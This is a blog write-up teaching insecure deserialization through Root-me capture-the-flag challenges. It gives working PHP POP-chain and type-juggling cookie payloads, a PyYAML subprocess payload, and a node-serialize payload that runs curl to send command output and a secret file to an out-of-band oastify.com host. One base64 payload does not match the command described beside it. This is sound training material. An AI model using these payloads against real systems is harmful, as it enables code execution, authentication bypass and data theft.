Skip to content
hoalvh
Go back

[Learning] - Insecure Deserialization

11 min read Edit page

Basic Concepts

Serialization

Serialization is the process of transforming complex data structures, such as objects and their fields into a human-readable or binary format (or a mix of both) that can be stored or transmitted and reconstructed as and when required.

When an object is serialized, its state remains unchanged (properties with assigned values).

For example:

<?php
class Person {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
}

$data = array(
    "name" => "hoalvh",
    "isAdmin" => True
);

$person = new Person("John", 30);
$serialized1 = serialize($person);
$serialized2 = serialize($data);

echo $serialized1;
echo "\n";
echo $serialized2;
?>

Result:

O:6:"Person":2:{s:4:"name";s:4:"John";s:3:"age";i:30;}
a:2:{s:4:"name";s:6:"hoalvh";s:7:"isAdmin";b:1;}

Deserialization

Deserialisation is the process of converting the formatted data back into an object. It’s crucial for retrieving data from files, databases, or across networks, restoring it to its original state for usage in applications.

With the example above, we can serialize the object Person and data into strings. Then we can deserialize the strings back into objects.

<?php
$serialized1 = "O:6:\"Person\":2:{s:4:\"name\";s:4:\"John\";s:3:\"age\";i:30;}";
$serialized2 = "a:2:{s:4:\"name\";s:6:\"hoalvh\";s:7:\"isAdmin\";b:1;}";

$person = unserialize($serialized1);
$data = unserialize($serialized2);

echo $person->name;
echo "\n";
echo $data["isAdmin"];
?>

Result:

John
1

Insecure deserialization

Insecure deserialization occurs when an application blindly trusts and deserializes user-controllable data without proper validation. This critical vulnerability allows attackers to manipulate serialized data, often replacing expected objects with instances of entirely different, malicious classes—a technique commonly known as object injection.

The most dangerous aspect of this flaw is that the attack is typically executed immediately during the deserialization process itself. This means the malicious payload runs and inflicts damage before the application even finishes unpacking the object, attempts to interact with it, or throws an error. Because the attack triggers upon instantiation, even applications built on strongly typed languages remain highly vulnerable to severe consequences like remote code execution.

Identification

With source code access

When access to the source code is available, identifying serialisation vulnerabilities can be more straightforward but requires a keen understanding of what to look for. For example, through code review, we can examine the source code for uses of serialisation functions such as serialize(), unserialize() in PHP; pickle.loads() in Python; Marshal.load() in Ruby; ObjectInputStream.readObject() in Java, and others. We must pay special attention to any point where user-supplied input might be passed directly to these functions.

No source code access

During auditing, we should look at all data being passed into the website and try to identify anything that looks like serialized data. Serialized data can be identified relatively easily if we know the format that different languages use.

For example, with PHP, serialized data looks like this:

O:6:"Person":2:{s:4:"name";s:4:"John";s:3:"age";i:30;}

Where:

  • O indicates an object
  • 6 is the length of the class name
  • "Person" is the class name
  • 2 is the number of properties
  • s:4:"name" is a string property named “name” with length 4
  • s:4:"John" is a string value “John” with length 4
  • s:3:"age" is a string property named “age” with length 3
  • i:30 is an integer value 30

Some languages, such as Java, use binary serialization formats. Serialized Java objects always begin with the same bytes, which are encoded as \xAC\xED in hexadecimal and rO0 in Base64.

Root-me challenges

PHP - Unserialize Pop Chain

Link challenge: https://www.root-me.org/en/Challenges/Web-Server/PHP-Unserialize-Pop-Chain

Statement: Can you avoid the security your friend put in place to access the flag?

Source code available:

<?php

$getflag = false;

class GetMessage {
    function __construct($receive) {
        if ($receive === "HelloBooooooy") {
            die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
        } else {
            $this->receive = $receive;
        }
    }

    function __toString() {
        return $this->receive;
    }

    function __destruct() {
        global $getflag;
        if ($this->receive !== "HelloBooooooy") {
            die("[FRIEND]: Hm.. you don't seem to be the friend I was waiting for..<br>");
        } else {
            if ($getflag) {
                include("flag.php");
                echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
            }
        }
    }
}

class WakyWaky {
    function __wakeup() {
        echo "[YOU]: ".$this->msg."<br>";
    }

    function __toString() {
        global $getflag;
        $getflag = true;
        return (new GetMessage($this->msg))->receive;
    }
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (isset($_POST["data"]) && !empty($_POST["data"])) {
    unserialize($_POST["data"]);
}

?>

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="UTF-8">
    <title>PHP - Unserialize Pop Chain</title>
  </head>
  <body>
    <h1>PHP - Unserialize Pop Chain</h1>
    <hr>
    <br>
    <p>
      Can you bypass the security your friend put in place to access the flag?
    </p>
    <br>
    <form class="" action="index.php" method="post">
      <textarea name="data" rows="5" cols="33" style="width:35%"></textarea>
      <br>
      <br>
      <button type="submit" name="button" style="width:35%">Submit</button>
    </form>
    <br>
    <p>
      You can also <a href="?source">View the source</a>
    </p>
  </body>
</html>

Code analysis

This challenge provides us a simple PHP application logic: it unsecurely unserializes our data without any sanitization.

Let’s analyze the code step by step:

  1. __construct() method of GetMessage class:
function __construct($receive) {
    if ($receive === "HelloBooooooy") {
        die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
    } else {
        $this->receive = $receive;
    }
}

This method checks if the receive property is equal to “HelloBooooooy”. If it is, it dies. Otherwise, it sets the receive property to the value of the receive parameter.

  1. __toString() method of GetMessage class:
function __toString() {
    return $this->receive;
}

This method returns the value of the receive property.

  1. __destruct() method:
function __destruct() {
    global $getflag;
    if ($this->receive !== "HelloBooooooy") {
        die("[FRIEND]: Hm.. you don't seem to be the friend I was waiting for..<br>");
    } else {
        if ($getflag) {
            include("flag.php");
            echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
        }
    }
}

This method checks if the receive property is equal to the string “HelloBooooooy”. If it is, it continues to check if the getflag varibale is true. If both conditions are met, flag.php is included and the flag is printed.

So now we’ve known the sink is the magic method __destruct in GetMessage class. Now we need to find a way to call this method and set the properties of the object to the desired values.

Looking at the WakyWaky class. It has two magic methods including __wakeup() and __toString(). The __wakeup() method is called when an object is created from a serialized string, whereas __toString() method is called when an object is converted to a string.

function __wakeup() {
    echo "[YOU]: ".$this->msg."<br>";
}

function __toString() {
    global $getflag;
    $getflag = true;
    return (new GetMessage($this->msg))->receive;
}

This is the source we’re looking for. If we pass an object of WakyWaky class as a argument to the echo, it will call __toString() magic method to set $getflag to true and return (new GetMessage($this->msg))->receive.

But there’s a problem, the __construct() method of GetMessage class checks if the receive property is strictly equal (===) to the string “HelloBooooooy”. If it is, it dies. To bypass this, we need $this->msg to be an Object of the GetMessage class instead of a String. Because an Object is not strictly equal to a String, the check fails, and we safely bypass the die().

Exploit

<?php
class GetMessage {
    public $receive = "HelloBooooooy";
}
class WakyWaky {
    public $msg;
}
$g1 = new GetMessage();
$w2 = new WakyWaky();
$w2->msg = $g1;
$w1 = new WakyWaky();
$w1->msg = $w2;

echo serialize($w1);
?>

Result:

O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":1:{s:3:"msg";O:10:"GetMessage":1:{s:7:"receive";s:13:"HelloBooooooy";}}}

PHP - Serialization

Link challenge: https://www.root-me.org/en/Challenges/Web-Server/PHP-Serialization

Description: Get an administrator access !

Source code available:

<?php
define('INCLUDEOK', true);
session_start();

if(isset($_GET['showsource'])){
    show_source(__FILE__);
    die;
}

/******** AUTHENTICATION *******/
// login / passwords in a PHP array (sha256 for passwords) !
require_once('./passwd.inc.php');


if(!isset($_SESSION['login']) || !$_SESSION['login']) {
    $_SESSION['login'] = "";
    // form posted ?
    if($_POST['login'] && $_POST['password']){
        $data['login'] = $_POST['login'];
        $data['password'] = hash('sha256', $_POST['password']);
    }
    // autologin cookie ?
    else if($_COOKIE['autologin']){
        $data = unserialize($_COOKIE['autologin']);
        $autologin = "autologin";
    }

    // check password !
    if ($data['password'] == $auth[ $data['login'] ] ) {
        $_SESSION['login'] = $data['login'];

        // set cookie for autologin if requested
        if($_POST['autologin'] === "1"){
            setcookie('autologin', serialize($data));
        }
    }
    else {
        // error message
        $message = "Error : $autologin authentication failed !";
    }
}
/*********************************/
?>



<html>
<head>
<style>
label {
    display: inline-block;
    width:150px;
    text-align:right;
}
input[type='password'], input[type='text'] {
    width: 120px;
}
</style>
</head>
<body>
<h1>Restricted Access</h1>

<?php

// message ?
if(!empty($message))
    echo "<p><em>$message</em></p>";

// admin ?
if($_SESSION['login'] === "superadmin"){
    require_once('admin.inc.php');
}
// user ?
elseif (isset($_SESSION['login']) && $_SESSION['login'] !== ""){
    require_once('user.inc.php');
}
// not authenticated ?
else {
?>
<p>Demo mode with guest / guest !</p>

<p><strong>superadmin says :</strong> New authentication mechanism without any database. <a href="index.php?showsource">Our source code is available here.</a></p>

<form name="authentification" action="index.php" method="post">
<fieldset style="width:400px;">
<p>
    <label>Login :</label>
    <input type="text" name="login" value="" />
</p>
<p>
    <label>Password :</label>
    <input type="password" name="password" value="" />
</p>
<p>
    <label>Autologin next time :</label>
    <input type="checkbox" name="autologin" value="1" />
</p>
<p style="text-align:center;">
    <input type="submit" value="Authenticate" />
</p>
</fieldset>
</form>
<?php
}

if(isset($_SESSION['login']) && $_SESSION['login'] !== ""){
    echo "<p><a href='disconnect.php'>Disconnect</a></p>";
}
?>
</body>
</html>

This challenge is a little bit different from the one above. Instead of using pre-built gadgets and requiring us to chain them together, we need to find a way to get the superadmin access through the unserialize() function by exploiting the PHP Type Juggling.

Let analize it in depth. First, we need to see how it handles the authentication:

if(!isset($_SESSION['login']) || !$_SESSION['login']) {
    $_SESSION['login'] = "";
    // form posted ?
    if($_POST['login'] && $_POST['password']){
        $data['login'] = $_POST['login'];
        $data['password'] = hash('sha256', $_POST['password']);
    }
    // autologin cookie ?
    else if($_COOKIE['autologin']){
        $data = unserialize($_COOKIE['autologin']);
        $autologin = "autologin";
    }

    // check password !
    if ($data['password'] == $auth[ $data['login'] ] ) {
        $_SESSION['login'] = $data['login'];

        // set cookie for autologin if requested
        if($_POST['autologin'] === "1"){
            setcookie('autologin', serialize($data));
        }
    }
    else {
        // error message
        $message = "Error : $autologin authentication failed !";
    }
}

Initially, it checks if the $_SESSION['login'] is not set or empty. If so, it initializes it to an empty string.

Then, it checks if the user sends login and password via a $_POST request. If they do, it assigns the login input to $data['login'] and hashes the password using SHA-256 before assigning it to $data['password'] (Because of this hashing, we cannot control the data type of the password here).

Otherwise, if no POST data is sent, the script checks if the autologin cookie is set. If it exists, it directly calls unserialize() without any sanitization on the cookie and assigns the result to $data. Since it blindly unserializes user input, we have full control over the $data.

The rest of the code is quite simple, it verifies the password using the loose comparison operator: if ($data['password'] == $auth[$data['login']]). By injecting a boolean true as our password via the cookie, the check becomes true == "sha256_hash". In PHP < 8, this always evaluates to true, so we can bypass the authentication.

Exploit

Since it already provides demo credentials, so we can use them to login and see how it works.

The server responses with autologin cookie:

a:2:{s:5:"login";s:5:"guest";s:8:"password";s:64:"84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec";}

We can manually change the login to superadmin and password to true, or use the following script to generate the payload:

<?php

$data = array(
	"login" => "superadmin",
	"password" => true
	);

$payload = serialize($data);
echo $payload
?>

Result: a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}

Node - Serialize

Link challenge: https://www.root-me.org/en/Challenges/Web-Server/Node-Serialize

Statement:

Serode Company is an experienced company and a competitor of Texode Company.

They do not hesitate to state that they are better than their competitors and that you will not find any vulnerabilities on their site.

Prove them wrong by being able to read the file containing the flag!

Recon

No source code available so we need to recon its behavior.

This challenge has a simple login page:

Now I login with test:test to see how it responses:

The server responses with set-cookie header:

Set-Cookie: profile=eyJ1c2VyTmFtZSI6InRlc3QiLCJwYXNzV29yZCI6InRlc3QifQ%3D%3

We can base64 decode the cookie to see the content:

{ "userName": "test", "passWord": "test" }

Exploit

With the hint “Node - Serialize”, we can guess that the server uses serialize function to serialize the cookie. Here I used pre-built payload from PayloadsAllTheThings and modified it a bit:

{"userName": '_$$ND_FUNC$$_function(){ require(''child_process'').execSync(''curl -X POST -d "$(ls -la)" lrgcma9mqh55i2z6yukjc4ruhlncb2zr.oastify.com''); }()',"passWord": "test"}

This payload creates a child process that executes the given command and sends the result to a server that we control.

Base64 encoded:

eyJ1c2VyTmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXsgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjdXJsIC1YIFBPU1QgLWQgXCIkKGxzIC1sYSlcIiBscmdjbWE5bXFoNTVpMno2eXVramM0cnVobG5jYjJ6ci5vYXN0aWZ5LmNvbScpOyB9KCkiLCJwYXNzV29yZCI6ICJ0ZXN0In0=

This payload shows the content of / directory.

Read the flag:

{
  "userName": "_$$ND_FUNC$$_function(){ require('child_process').execSync('curl -X POST -d \"$(cat flag/secret)\" lrgcma9mqh55i2z6yukjc4ruhlncb2zr.oastify.com'); }()",
  "passWord": "test"
}

Base64 encoded:

eyJ1c2VyTmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXsgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdjdXJsIC1YIFBPU1QgLWQgXCIkKGNhdCBmbGFnL3NlY3JldClcIiBscmdjbWE5bXFoNTVpMno2eXVramM0cnVobG5jYjJ6ci5vYXN0aWZ5LmNvbScpOyB9KCkiLCJwYXNzV29yZCI6ICJ0ZXN0In0=

Yaml - Deserialization

Link challenge: https://www.root-me.org/en/Challenges/Web-Server/Yaml-Deserialization

Statement:

This site is not finished and is vulnerable. Find and exploit the vulnerability to get the flag!

Recon

This blackbox challenge is about YAML deserialization vulnerability in python.

The web site automatically redirect us to http://challenge01.root-me.org:59071/eWFtbDogV2UgYXJlIGN1cnJlbnRseSBpbml0aWFsaXppbmcgb3VyIG5ldyBzaXRlICEg

Base64 decode the content:

yaml: We are currently initializing our new site !

The result after base64 decode is exactly the same as the message on the website. This means the server directly deserializes the payload that we pass into the URL path.

Exploit

Using payload from PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Python.md

yaml: !!python/object/new:subprocess.check_output [["ls", "-la"]]

Base64 encode the payload:

eWFtbDogISFweXRob24vb2JqZWN0L25ldzpzdWJwcm9jZXNzLmNoZWNrX291dHB1dCBbWyJscyIsIi1sYSJdXQ==

Result:

total 192
drwxr-s---  5 web-serveur-ch71 web-serveur-ch71   4096 déc.  12  2021 .
drwxr-s--x 99 challenge        www-data           4096 mars  21  2025 ..
-r-x------  1 web-serveur-ch71 web-serveur-ch71   1038 déc.  10  2021 ch71.py
----------  1 web-serveur-ch71 web-serveur-ch71   3266 déc.  10  2021 ch71.tar.gz
-r--------  1 root             root                 47 déc.  10  2021 ._firewall
-rw-r-----  1 root             www-data             44 déc.  10  2021 .git
-rw-r-----  1 root             web-serveur-ch71    181 déc.  12  2021 .gitignore
-r--------  1 challenge        challenge           123 déc.  10  2021 ._nginx.server-level.inc
-r--------  1 web-serveur-ch71 web-serveur-ch71     32 déc.  10  2021 .passwd
-r--------  1 root             www-data           4681 déc.  18  2021 ._perms
-r--------  1 web-serveur-ch71 web-serveur-ch71     47 déc.  10  2021 requirements.txt
-rwx------  1 web-serveur-ch71 web-serveur-ch71    175 déc.  10  2021 ._run
drwx------  3 web-serveur-ch71 web-serveur-ch71   4096 déc.  10  2021 static
drwx------  2 web-serveur-ch71 web-serveur-ch71   4096 déc.  10  2021 templates
drwxr-sr-x  3 web-serveur-ch71 web-serveur-ch71   4096 déc.  11  2021 yaml
----------  1 web-serveur-ch71 web-serveur-ch71 127485 déc.  10  2021 yaml_3.13.tar.gz

Read the flag:

yaml: !!python/object/new:subprocess.check_output [["cat", ".passwd"]]

Base64 encode the payload:

eWFtbDogISFweXRob24vb2JqZWN0L25ldzpzdWJwcm9jZXNzLmNoZWNrX291dHB1dCBbWyJjYXQiLCJmbGFnL3NlY3JldCJdXQ==

PHP - Unserialize overflow

Java - Custom gadget deserialization


Edit page